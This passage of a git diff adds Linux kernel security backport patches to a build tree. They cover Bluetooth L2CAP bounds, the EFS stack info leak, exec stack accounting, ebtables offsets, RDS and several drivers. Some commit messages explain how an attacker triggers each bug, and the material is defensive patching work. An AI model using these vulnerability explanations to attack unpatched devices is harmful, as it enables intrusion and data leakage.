l2cap_build_conf_req(chan, buf, sizeof(buf)), buf); + chan->num_conf_req++; + } + +@@ -3900,7 +3906,7 @@ sendresp: + u8 buf[128]; + set_bit(CONF_REQ_SENT, &chan->conf_state); + l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, buf), buf); ++ l2cap_build_conf_req(chan, buf, sizeof(buf)), buf); + chan->num_conf_req++; + } + +@@ -3978,7 +3984,7 @@ static int l2cap_connect_create_rsp(struct l2cap_conn *conn, + break; + + l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, req), req); ++ l2cap_build_conf_req(chan, req, sizeof(req)), req); + chan->num_conf_req++; + break; + +@@ -4090,7 +4096,7 @@ static inline int l2cap_config_req(struct l2cap_conn *conn, + } + + /* Complete config. */ +- len = l2cap_parse_conf_req(chan, rsp); ++ len = l2cap_parse_conf_req(chan, rsp, sizeof(rsp)); + if (len < 0) { + l2cap_send_disconn_req(chan, ECONNRESET); + goto unlock; +@@ -4124,7 +4130,7 @@ static inline int l2cap_config_req(struct l2cap_conn *conn, + if (!test_and_set_bit(CONF_REQ_SENT, &chan->conf_state)) { + u8 buf[64]; + l2cap_send_cmd(conn, l2cap_get_ident(conn), L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, buf), buf); ++ l2cap_build_conf_req(chan, buf, sizeof(buf)), buf); + chan->num_conf_req++; + } + +@@ -4184,7 +4190,7 @@ static inline int l2cap_config_rsp(struct l2cap_conn *conn, + char buf[64]; + + len = l2cap_parse_conf_rsp(chan, rsp->data, len, +- buf, &result); ++ buf, sizeof(buf), &result); + if (len < 0) { + l2cap_send_disconn_req(chan, ECONNRESET); + goto done; +@@ -4214,7 +4220,7 @@ static inline int l2cap_config_rsp(struct l2cap_conn *conn, + /* throw out any old stored conf requests */ + result = L2CAP_CONF_SUCCESS; + len = l2cap_parse_conf_rsp(chan, rsp->data, len, +- req, &result); ++ req, sizeof(req), &result); + if (len < 0) { + l2cap_send_disconn_req(chan, ECONNRESET); + goto done; +@@ -4791,7 +4797,7 @@ static void l2cap_do_create(struct l2cap_chan *chan, int result, + set_bit(CONF_REQ_SENT, &chan->conf_state); + l2cap_send_cmd(chan->conn, l2cap_get_ident(chan->conn), + L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, buf), buf); ++ l2cap_build_conf_req(chan, buf, sizeof(buf)), buf); + chan->num_conf_req++; + } + } +@@ -7465,7 +7471,7 @@ static void l2cap_security_cfm(struct hci_conn *hcon, u8 status, u8 encrypt) + set_bit(CONF_REQ_SENT, &chan->conf_state); + l2cap_send_cmd(conn, l2cap_get_ident(conn), + L2CAP_CONF_REQ, +- l2cap_build_conf_req(chan, buf), ++ l2cap_build_conf_req(chan, buf, sizeof(buf)), + buf); + chan->num_conf_req++; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0475-36ae3c0a36b7-KVM Dont accept obviously wrong gsi values via KVMIRQFD.patch b/recipes-kernel/linux/linux-bass/autopatcher/0475-36ae3c0a36b7-KVM Dont accept obviously wrong gsi values via KVMIRQFD.patch new file mode 100644 index 0000000..993ada2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0475-36ae3c0a36b7-KVM Dont accept obviously wrong gsi values via KVMIRQFD.patch @@ -0,0 +1,35 @@ +From 36ae3c0a36b7456432fedce38ae2f7bd3e01a563 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Jan=20H=2E=20Sch=C3=B6nherr?= +Date: Thu, 7 Sep 2017 19:02:48 +0100 +Subject: KVM: Don't accept obviously wrong gsi values via KVM_IRQFD +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +We cannot add routes for gsi values >= KVM_MAX_IRQ_ROUTES -- see +kvm_set_irq_routing(). Hence, there is no sense in accepting them +via KVM_IRQFD. Prevent them from entering the system in the first +place. + +Signed-off-by: Jan H. Schönherr +Signed-off-by: Paolo Bonzini +--- + virt/kvm/eventfd.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/virt/kvm/eventfd.c b/virt/kvm/eventfd.c +index f2ac53ab8243..c608ab495282 100644 +--- a/virt/kvm/eventfd.c ++++ b/virt/kvm/eventfd.c +@@ -565,6 +565,8 @@ kvm_irqfd(struct kvm *kvm, struct kvm_irqfd *args) + { + if (args->flags & ~(KVM_IRQFD_FLAG_DEASSIGN | KVM_IRQFD_FLAG_RESAMPLE)) + return -EINVAL; ++ if (args->gsi >= KVM_MAX_IRQ_ROUTES) ++ return -EINVAL; + + if (args->flags & KVM_IRQFD_FLAG_DEASSIGN) + return kvm_irqfd_deassign(kvm, args); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0476-00c65c8a660b-fsbinfmtelfc fix bug in loading of PIE binaries.patch b/recipes-kernel/linux/linux-bass/autopatcher/0476-00c65c8a660b-fsbinfmtelfc fix bug in loading of PIE binaries.patch new file mode 100644 index 0000000..b7b1d86 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0476-00c65c8a660b-fsbinfmtelfc fix bug in loading of PIE binaries.patch @@ -0,0 +1,74 @@ +From 00c65c8a660bd5b5d4228137ff5be2654dd1840a Mon Sep 17 00:00:00 2001 +From: Michael Davidson +Date: Tue, 14 Apr 2015 15:47:38 -0700 +Subject: fs/binfmt_elf.c: fix bug in loading of PIE binaries + +commit a87938b2e246b81b4fb713edb371a9fa3c5c3c86 upstream. + +With CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE enabled, and a normal top-down +address allocation strategy, load_elf_binary() will attempt to map a PIE +binary into an address range immediately below mm->mmap_base. + +Unfortunately, load_elf_ binary() does not take account of the need to +allocate sufficient space for the entire binary which means that, while +the first PT_LOAD segment is mapped below mm->mmap_base, the subsequent +PT_LOAD segment(s) end up being mapped above mm->mmap_base into the are +that is supposed to be the "gap" between the stack and the binary. + +Since the size of the "gap" on x86_64 is only guaranteed to be 128MB this +means that binaries with large data segments > 128MB can end up mapping +part of their data segment over their stack resulting in corruption of the +stack (and the data segment once the binary starts to run). + +Any PIE binary with a data segment > 128MB is vulnerable to this although +address randomization means that the actual gap between the stack and the +end of the binary is normally greater than 128MB. The larger the data +segment of the binary the higher the probability of failure. + +Fix this by calculating the total size of the binary in the same way as +load_elf_interp(). + +Signed-off-by: Michael Davidson +Cc: Alexander Viro +Cc: Jiri Kosina +Cc: Kees Cook +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/binfmt_elf.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c +index 3c4d8797ea9a..53f620a4350e 100644 +--- a/fs/binfmt_elf.c ++++ b/fs/binfmt_elf.c +@@ -756,6 +756,7 @@ static int load_elf_binary(struct linux_binprm *bprm) + i < loc->elf_ex.e_phnum; i++, elf_ppnt++) { + int elf_prot = 0, elf_flags; + unsigned long k, vaddr; ++ unsigned long total_size = 0; + + if (elf_ppnt->p_type != PT_LOAD) + continue; +@@ -820,10 +821,16 @@ static int load_elf_binary(struct linux_binprm *bprm) + #else + load_bias = ELF_PAGESTART(ELF_ET_DYN_BASE - vaddr); + #endif ++ total_size = total_mapping_size(elf_phdata, ++ loc->elf_ex.e_phnum); ++ if (!total_size) { ++ error = -EINVAL; ++ goto out_free_dentry; ++ } + } + + error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt, +- elf_prot, elf_flags, 0); ++ elf_prot, elf_flags, total_size); + if (BAD_ADDR(error)) { + send_sig(SIGKILL, current, 0); + retval = IS_ERR((void *)error) ? +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0477-66cb32401b60-char lp fix possible integer overflow in lpsetup.patch b/recipes-kernel/linux/linux-bass/autopatcher/0477-66cb32401b60-char lp fix possible integer overflow in lpsetup.patch new file mode 100644 index 0000000..baeaadc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0477-66cb32401b60-char lp fix possible integer overflow in lpsetup.patch @@ -0,0 +1,38 @@ +From 66cb32401b6041356f0be44a302cdb42c20de6c2 Mon Sep 17 00:00:00 2001 +From: Willy Tarreau +Date: Tue, 16 May 2017 19:18:55 +0200 +Subject: char: lp: fix possible integer overflow in lp_setup() + +commit 3e21f4af170bebf47c187c1ff8bf155583c9f3b1 upstream. + +The lp_setup() code doesn't apply any bounds checking when passing +"lp=none", and only in this case, resulting in an overflow of the +parport_nr[] array. All versions in Git history are affected. + +Reported-By: Roee Hay +Cc: Ben Hutchings +Signed-off-by: Willy Tarreau +--- + drivers/char/lp.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/char/lp.c b/drivers/char/lp.c +index 0913d79424d3..6b619105dea8 100644 +--- a/drivers/char/lp.c ++++ b/drivers/char/lp.c +@@ -857,7 +857,11 @@ static int __init lp_setup (char *str) + } else if (!strcmp(str, "auto")) { + parport_nr[0] = LP_PARPORT_AUTO; + } else if (!strcmp(str, "none")) { +- parport_nr[parport_ptr++] = LP_PARPORT_NONE; ++ if (parport_ptr < LP_NO) ++ parport_nr[parport_ptr++] = LP_PARPORT_NONE; ++ else ++ printk(KERN_INFO "lp: too many ports, %s ignored.\n", ++ str); + } else if (!strcmp(str, "reset")) { + reset = 1; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0478-4f54b2642d4f-fsexecc account for argvenvp pointers.patch b/recipes-kernel/linux/linux-bass/autopatcher/0478-4f54b2642d4f-fsexecc account for argvenvp pointers.patch new file mode 100644 index 0000000..43c0e1d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0478-4f54b2642d4f-fsexecc account for argvenvp pointers.patch @@ -0,0 +1,92 @@ +From 4f54b2642d4f1f908bf240fe5040925672b51b77 Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Fri, 23 Jun 2017 15:08:57 -0700 +Subject: fs/exec.c: account for argv/envp pointers + +commit 98da7d08850fb8bdeb395d6368ed15753304aa0c upstream. + +When limiting the argv/envp strings during exec to 1/4 of the stack limit, +the storage of the pointers to the strings was not included. This means +that an exec with huge numbers of tiny strings could eat 1/4 of the stack +limit in strings and then additional space would be later used by the +pointers to the strings. + +For example, on 32-bit with a 8MB stack rlimit, an exec with 1677721 +single-byte strings would consume less than 2MB of stack, the max (8MB / +4) amount allowed, but the pointers to the strings would consume the +remaining additional stack space (1677721 * 4 == 6710884). + +The result (1677721 + 6710884 == 8388605) would exhaust stack space +entirely. Controlling this stack exhaustion could result in +pathological behavior in setuid binaries (CVE-2017-1000365). + +[akpm@linux-foundation.org: additional commenting from Kees] +Fixes: b6a2fea39318 ("mm: variable length argument support") +Link: http://lkml.kernel.org/r/20170622001720.GA32173@beast +Signed-off-by: Kees Cook +Acked-by: Rik van Riel +Acked-by: Michal Hocko +Cc: Alexander Viro +Cc: Qualys Security Advisory +Cc: +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Willy Tarreau +--- + fs/exec.c | 28 ++++++++++++++++++++++++---- + 1 file changed, 24 insertions(+), 4 deletions(-) + +diff --git a/fs/exec.c b/fs/exec.c +index c945a555eb25f..e3abc8e3d58f7 100644 +--- a/fs/exec.c ++++ b/fs/exec.c +@@ -196,8 +196,26 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + + if (write) { + unsigned long size = bprm->vma->vm_end - bprm->vma->vm_start; ++ unsigned long ptr_size; + struct rlimit *rlim; + ++ /* ++ * Since the stack will hold pointers to the strings, we ++ * must account for them as well. ++ * ++ * The size calculation is the entire vma while each arg page is ++ * built, so each time we get here it's calculating how far it ++ * is currently (rather than each call being just the newly ++ * added size from the arg page). As a result, we need to ++ * always add the entire size of the pointers, so that on the ++ * last call to get_arg_page() we'll actually have the entire ++ * correct size. ++ */ ++ ptr_size = (bprm->argc + bprm->envc) * sizeof(void *); ++ if (ptr_size > ULONG_MAX - size) ++ goto fail; ++ size += ptr_size; ++ + acct_arg_size(bprm, size / PAGE_SIZE); + + /* +@@ -215,13 +233,15 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + * to work from. + */ + rlim = current->signal->rlim; +- if (size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur) / 4) { +- put_page(page); +- return NULL; +- } ++ if (size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur) / 4) ++ goto fail; + } + + return page; ++ ++fail: ++ put_page(page); ++ return NULL; + } + + static void put_arg_page(struct page *page) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0479.diff b/recipes-kernel/linux/linux-bass/autopatcher/0479.diff new file mode 100644 index 0000000..05020d8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0479.diff @@ -0,0 +1,30 @@ +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 1a21148..56e677d 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1868,6 +1868,7 @@ + + tu = file->private_data; + unit = tu->tread ? sizeof(struct snd_timer_tread) : sizeof(struct snd_timer_read); ++ mutex_lock(&tu->ioctl_lock); + spin_lock_irq(&tu->qlock); + while ((long)count - result >= unit) { + while (!tu->qused) { +@@ -1883,7 +1884,9 @@ + add_wait_queue(&tu->qchange_sleep, &wait); + + spin_unlock_irq(&tu->qlock); ++ mutex_unlock(&tu->ioctl_lock); + schedule(); ++ mutex_lock(&tu->ioctl_lock); + spin_lock_irq(&tu->qlock); + + remove_wait_queue(&tu->qchange_sleep, &wait); +@@ -1922,6 +1925,7 @@ + } + spin_unlock_irq(&tu->qlock); + _error: ++ mutex_unlock(&tu->ioctl_lock); + return result > 0 ? result : err; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0480.diff b/recipes-kernel/linux/linux-bass/autopatcher/0480.diff new file mode 100644 index 0000000..3a26724 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0480.diff @@ -0,0 +1,12 @@ +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 56e677d..90a8f90 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -1544,6 +1544,7 @@ + if (err < 0) + goto __err; + ++ tu->qhead = tu->qtail = tu->qused = 0; + kfree(tu->queue); + tu->queue = NULL; + kfree(tu->tqueue); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0481-5428ef98b61c-PATCH Bluetooth Prevent stack info leak from the EFS element.patch b/recipes-kernel/linux/linux-bass/autopatcher/0481-5428ef98b61c-PATCH Bluetooth Prevent stack info leak from the EFS element.patch new file mode 100644 index 0000000..5b1fc73 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0481-5428ef98b61c-PATCH Bluetooth Prevent stack info leak from the EFS element.patch @@ -0,0 +1,89 @@ +From 5428ef98b61cd3df396f5c05d9149e697f2822a1 Mon Sep 17 00:00:00 2001 +From: Ben Seri +Date: Fri, 8 Dec 2017 15:14:47 +0100 +Subject: [PATCH] Bluetooth: Prevent stack info leak from the EFS element. + +commit 06e7e776ca4d36547e503279aeff996cbb292c16 upstream. + +In the function l2cap_parse_conf_rsp and in the function +l2cap_parse_conf_req the following variable is declared without +initialization: + +struct l2cap_conf_efs efs; + +In addition, when parsing input configuration parameters in both of +these functions, the switch case for handling EFS elements may skip the +memcpy call that will write to the efs variable: + +... +case L2CAP_CONF_EFS: +if (olen == sizeof(efs)) +memcpy(&efs, (void *)val, olen); +... + +The olen in the above if is attacker controlled, and regardless of that +if, in both of these functions the efs variable would eventually be +added to the outgoing configuration request that is being built: + +l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs), (unsigned long) &efs); + +So by sending a configuration request, or response, that contains an +L2CAP_CONF_EFS element, but with an element length that is not +sizeof(efs) - the memcpy to the uninitialized efs variable can be +avoided, and the uninitialized variable would be returned to the +attacker (16 bytes). + +This issue has been assigned CVE-2017-1000410 + +Change-Id: I7fdd0580c2e6028f75c6938ffd3ccba9f527bcde +Cc: Marcel Holtmann +Cc: Gustavo Padovan +Cc: Johan Hedberg +Signed-off-by: Ben Seri +Signed-off-by: Greg Kroah-Hartman +--- + net/bluetooth/l2cap_core.c | 20 +++++++++++--------- + 1 file changed, 11 insertions(+), 9 deletions(-) + +diff --git a/net/bluetooth/l2cap_core.c b/net/bluetooth/l2cap_core.c +index 09a7d72140a..71968d2b72d 100644 +--- a/net/bluetooth/l2cap_core.c ++++ b/net/bluetooth/l2cap_core.c +@@ -3315,9 +3315,10 @@ static int l2cap_parse_conf_req(struct l2cap_chan *chan, void *data, size_t data + break; + + case L2CAP_CONF_EFS: +- remote_efs = 1; +- if (olen == sizeof(efs)) ++ if (olen == sizeof(efs)) { ++ remote_efs = 1; + memcpy(&efs, (void *) val, olen); ++ } + break; + + case L2CAP_CONF_EWS: +@@ -3536,16 +3537,17 @@ static int l2cap_parse_conf_rsp(struct l2cap_chan *chan, void *rsp, int len, + break; + + case L2CAP_CONF_EFS: +- if (olen == sizeof(efs)) ++ if (olen == sizeof(efs)) { + memcpy(&efs, (void *)val, olen); + +- if (chan->local_stype != L2CAP_SERV_NOTRAFIC && +- efs.stype != L2CAP_SERV_NOTRAFIC && +- efs.stype != chan->local_stype) +- return -ECONNREFUSED; ++ if (chan->local_stype != L2CAP_SERV_NOTRAFIC && ++ efs.stype != L2CAP_SERV_NOTRAFIC && ++ efs.stype != chan->local_stype) ++ return -ECONNREFUSED; + +- l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs), +- (unsigned long) &efs, endptr - ptr); ++ l2cap_add_conf_opt(&ptr, L2CAP_CONF_EFS, sizeof(efs), ++ (unsigned long) &efs, endptr - ptr); ++ } + break; + + case L2CAP_CONF_FCS: diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0482-8dd1efbe7f7d-PATCH netfilter ebtables CONFIGCOMPAT dont trust userland.patch b/recipes-kernel/linux/linux-bass/autopatcher/0482-8dd1efbe7f7d-PATCH netfilter ebtables CONFIGCOMPAT dont trust userland.patch new file mode 100644 index 0000000..04ce4fc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0482-8dd1efbe7f7d-PATCH netfilter ebtables CONFIGCOMPAT dont trust userland.patch @@ -0,0 +1,60 @@ +From 8dd1efbe7f7dfdd3a0eab97c478853abe4535957 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Mon, 19 Feb 2018 01:24:15 +0100 +Subject: [PATCH] netfilter: ebtables: CONFIG_COMPAT: don't trust userland + offsets + +commit b71812168571fa55e44cdd0254471331b9c4c4c6 upstream. + +We need to make sure the offsets are not out of range of the +total size. +Also check that they are in ascending order. + +The WARN_ON triggered by syzkaller (it sets panic_on_warn) is +changed to also bail out, no point in continuing parsing. + +Briefly tested with simple ruleset of +-A INPUT --limit 1/s' --log +plus jump to custom chains using 32bit ebtables binary. + +Reported-by: +Bug: 77902350 +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +Signed-off-by: Greg Kroah-Hartman +Change-Id: I01c7b86ed219c461113208c575148fe84f96317a +--- + net/bridge/netfilter/ebtables.c | 13 ++++++++++++- + 1 file changed, 12 insertions(+), 1 deletion(-) + +diff --git a/net/bridge/netfilter/ebtables.c b/net/bridge/netfilter/ebtables.c +index 6651a7797d4..924af39089e 100644 +--- a/net/bridge/netfilter/ebtables.c ++++ b/net/bridge/netfilter/ebtables.c +@@ -2010,7 +2010,9 @@ static int ebt_size_mwt(struct compat_ebt_entry_mwt *match32, + if (match_kern) + match_kern->match_size = ret; + +- WARN_ON(type == EBT_COMPAT_TARGET && size_left); ++ if (WARN_ON(type == EBT_COMPAT_TARGET && size_left)) ++ return -EINVAL; ++ + match32 = (struct compat_ebt_entry_mwt *) buf; + } + +@@ -2067,6 +2069,15 @@ static int size_entry_mwt(struct ebt_entry *entry, const unsigned char *base, + * + * offsets are relative to beginning of struct ebt_entry (i.e., 0). + */ ++ for (i = 0; i < 4 ; ++i) { ++ if (offsets[i] >= *total) ++ return -EINVAL; ++ if (i == 0) ++ continue; ++ if (offsets[i-1] > offsets[i]) ++ return -EINVAL; ++ } ++ + for (i = 0, j = 1 ; j < 4 ; j++, i++) { + struct compat_ebt_entry_mwt *match32; + unsigned int size; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0483-932909d9b28d-netfilter ebtables fix erroneous reject of last rule.patch b/recipes-kernel/linux/linux-bass/autopatcher/0483-932909d9b28d-netfilter ebtables fix erroneous reject of last rule.patch new file mode 100644 index 0000000..7bcea79 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0483-932909d9b28d-netfilter ebtables fix erroneous reject of last rule.patch @@ -0,0 +1,36 @@ +From 932909d9b28d27e807ff8eecb68c7748f6701628 Mon Sep 17 00:00:00 2001 +From: Florian Westphal +Date: Thu, 8 Mar 2018 12:54:19 +0100 +Subject: netfilter: ebtables: fix erroneous reject of last rule + +The last rule in the blob has next_entry offset that is same as total size. +This made "ebtables32 -A OUTPUT -d de:ad:be:ef:01:02" fail on 64 bit kernel. + +Fixes: b71812168571fa ("netfilter: ebtables: CONFIG_COMPAT: don't trust userland offsets") +Signed-off-by: Florian Westphal +Signed-off-by: Pablo Neira Ayuso +--- + net/bridge/netfilter/ebtables.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/net/bridge/netfilter/ebtables.c b/net/bridge/netfilter/ebtables.c +index 254ef9f495679..a94d23b0a9af3 100644 +--- a/net/bridge/netfilter/ebtables.c ++++ b/net/bridge/netfilter/ebtables.c +@@ -2119,8 +2119,12 @@ static int size_entry_mwt(struct ebt_entry *entry, const unsigned char *base, + * offsets are relative to beginning of struct ebt_entry (i.e., 0). + */ + for (i = 0; i < 4 ; ++i) { +- if (offsets[i] >= *total) ++ if (offsets[i] > *total) + return -EINVAL; ++ ++ if (i < 3 && offsets[i] == *total) ++ return -EINVAL; ++ + if (i == 0) + continue; + if (offsets[i-1] > offsets[i]) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0484.diff b/recipes-kernel/linux/linux-bass/autopatcher/0484.diff new file mode 100644 index 0000000..775cb7a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0484.diff @@ -0,0 +1,24 @@ +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index c9461d6..be581c2 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -1051,14 +1051,18 @@ + { + int i; + ++ mutex_lock(&driver->diagchar_mutex); + for (i = 0; i < driver->num_clients; i++) + if (driver->client_map[i].pid == current->tgid) + break; + +- if (i == driver->num_clients) ++ if (i == driver->num_clients) { ++ mutex_unlock(&driver->diagchar_mutex); + return -EINVAL; ++ } + + driver->data_ready[i] |= DEINIT_TYPE; ++ mutex_unlock(&driver->diagchar_mutex); + wake_up_interruptible(&driver->wait_q); + + return 1; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0485-f6214fdc04e8-PATCH ASoC apr Add validity check to APR port.patch b/recipes-kernel/linux/linux-bass/autopatcher/0485-f6214fdc04e8-PATCH ASoC apr Add validity check to APR port.patch new file mode 100644 index 0000000..25827d1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0485-f6214fdc04e8-PATCH ASoC apr Add validity check to APR port.patch @@ -0,0 +1,29 @@ +From f6214fdc04e874a20617a7365c04e720a587c14f Mon Sep 17 00:00:00 2001 +From: Aditya Bavanari +Date: Tue, 19 Dec 2017 20:34:26 +0530 +Subject: [PATCH] ASoC: apr: Add validity check to APR port + +Add boundary checks for APR port received from ADSP. + +Change-Id: Ia0a3859b30536bd6aa6030cdbd44c783c9558068 +CRs-Fixed: 2143207 +Bug: 72956842 +Signed-off-by: Aditya Bavanari +--- + drivers/soc/qcom/qdsp6v2/apr.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/soc/qcom/qdsp6v2/apr.c b/drivers/soc/qcom/qdsp6v2/apr.c +index a295373ed88c4..5f25054e9f02e 100644 +--- a/drivers/soc/qcom/qdsp6v2/apr.c ++++ b/drivers/soc/qcom/qdsp6v2/apr.c +@@ -551,7 +551,8 @@ void apr_cb_func(void *buf, int len, void *priv) + + temp_port = ((data.dest_port >> 8) * 8) + (data.dest_port & 0xFF); + pr_debug("port = %d t_port = %d\n", data.src_port, temp_port); +- if (c_svc->port_cnt && c_svc->port_fn[temp_port]) ++ if (((temp_port >= 0) && (temp_port < APR_MAX_PORTS)) ++ && (c_svc->port_cnt && c_svc->port_fn[temp_port])) + c_svc->port_fn[temp_port](&data, c_svc->port_priv[temp_port]); + else if (c_svc->fn) + c_svc->fn(&data, c_svc->priv); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0486-8f615cda88ee-net usb rmnetusbctrl Fix use after free issue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0486-8f615cda88ee-net usb rmnetusbctrl Fix use after free issue.patch new file mode 100644 index 0000000..7d77759 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0486-8f615cda88ee-net usb rmnetusbctrl Fix use after free issue.patch @@ -0,0 +1,39 @@ +From 8f615cda88ee5cd33b4ee9a1f76ba177956a10d8 Mon Sep 17 00:00:00 2001 +From: Sai Krishna Juturi +Date: Wed, 22 Nov 2017 16:40:18 +0530 +Subject: net: usb: rmnet_usb_ctrl: Fix use after free issue + +In rmnet_usb_ctrl_init dev is freed again it is +dereferenced with in same block. Fix this issue +by taking derefernced value into a local variable +prior to freeing dev. + +Change-Id: Ic51accc8949e97c8aaeda558adcc9d404fb2a26d +Signed-off-by: Sai Krishna Juturi +--- + drivers/net/usb/rmnet_usb_ctrl.c | 5 +++-- + 1 file changed, 3 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/usb/rmnet_usb_ctrl.c b/drivers/net/usb/rmnet_usb_ctrl.c +index 75e9783..25ebe136 100644 +--- a/drivers/net/usb/rmnet_usb_ctrl.c ++++ b/drivers/net/usb/rmnet_usb_ctrl.c +@@ -1219,12 +1219,13 @@ skip_cudev_init: + "%s%d", rmnet_dev_names[i], + n); + if (IS_ERR(dev->devicep)) { ++ long status = PTR_ERR(dev->devicep); + pr_err("%s: device_create() returned %ld\n", +- __func__, PTR_ERR(dev->devicep)); ++ __func__, status); + cdev_del(&dev->cdev); + free_rmnet_ctrl_udev(dev->cudev); + kfree(dev); +- return PTR_ERR(dev->devicep); ++ return status; + } + + /*create /sys/class/hsicctl/hsicctlx/modem_wait*/ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0487-c095508770ae-RDS Heap OOB write in rdsmessageallocsgs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0487-c095508770ae-RDS Heap OOB write in rdsmessageallocsgs.patch new file mode 100644 index 0000000..c020891 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0487-c095508770ae-RDS Heap OOB write in rdsmessageallocsgs.patch @@ -0,0 +1,33 @@ +From c095508770aebf1b9218e77026e48345d719b17c Mon Sep 17 00:00:00 2001 +From: Mohamed Ghannam +Date: Tue, 2 Jan 2018 19:44:34 +0000 +Subject: RDS: Heap OOB write in rds_message_alloc_sgs() + +When args->nr_local is 0, nr_pages gets also 0 due some size +calculation via rds_rm_size(), which is later used to allocate +pages for DMA, this bug produces a heap Out-Of-Bound write access +to a specific memory region. + +Signed-off-by: Mohamed Ghannam +Signed-off-by: David S. Miller +--- + net/rds/rdma.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/rds/rdma.c b/net/rds/rdma.c +index bc2f1e0977d6..94729d9da437 100644 +--- a/net/rds/rdma.c ++++ b/net/rds/rdma.c +@@ -525,6 +525,9 @@ int rds_rdma_extra_size(struct rds_rdma_args *args) + + local_vec = (struct rds_iovec __user *)(unsigned long) args->local_vec_addr; + ++ if (args->nr_local == 0) ++ return -EINVAL; ++ + /* figure out the number of pages in the vector */ + for (i = 0; i < args->nr_local; i++) { + if (copy_from_user(&vec, &local_vec[i], +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0488-7d11f77f84b2-RDS null pointer dereference in rdsatomicfreeop.patch b/recipes-kernel/linux/linux-bass/autopatcher/0488-7d11f77f84b2-RDS null pointer dereference in rdsatomicfreeop.patch new file mode 100644 index 0000000..6c9cbd5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0488-7d11f77f84b2-RDS null pointer dereference in rdsatomicfreeop.patch @@ -0,0 +1,31 @@ +From 7d11f77f84b27cef452cee332f4e469503084737 Mon Sep 17 00:00:00 2001 +From: Mohamed Ghannam +Date: Wed, 3 Jan 2018 21:06:06 +0000 +Subject: RDS: null pointer dereference in rds_atomic_free_op + +set rm->atomic.op_active to 0 when rds_pin_pages() fails +or the user supplied address is invalid, +this prevents a NULL pointer usage in rds_atomic_free_op() + +Signed-off-by: Mohamed Ghannam +Acked-by: Santosh Shilimkar +Signed-off-by: David S. Miller +--- + net/rds/rdma.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/rds/rdma.c b/net/rds/rdma.c +index 94729d9da437..634cfcb7bba6 100644 +--- a/net/rds/rdma.c ++++ b/net/rds/rdma.c +@@ -877,6 +877,7 @@ int rds_cmsg_atomic(struct rds_sock *rs, struct 